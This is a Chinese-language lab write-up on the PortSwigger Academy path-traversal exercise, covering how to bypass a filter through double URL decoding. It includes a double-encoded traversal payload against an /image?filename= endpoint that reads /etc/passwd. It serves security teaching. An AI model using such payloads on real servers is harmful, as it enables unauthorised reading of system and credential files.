> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/path-traversal/path-traversal-bypass-via-double-url-decoding.md). # 通过双重 URL 解码绕过路径遍历 通过双重 URL 解码绕过路径遍历，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。 ### 文件路径遍历，通过多余的 URL 解码去除了遍历序列 本实验展示了在显示生成的图像时存在路径遍历漏洞。应用程序会阻止用户提供的文件名中的穿越序列，然后在使用该值之前再进行一次额外的 URL 解码。 目标是读取……的内容 `/etc/passwd` 文件。 以下标准载荷被发现无法起作用： ```bash ../../../../../etc/paswd ``` 要绕过这个过滤器，一种技巧是 **将 URL 编码两次** 并将其发送到 `filename` 参数 `/image` 端点： {% code overflow="wrap" %} ```bash /image?filename=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%34 ``` {% endcode %}
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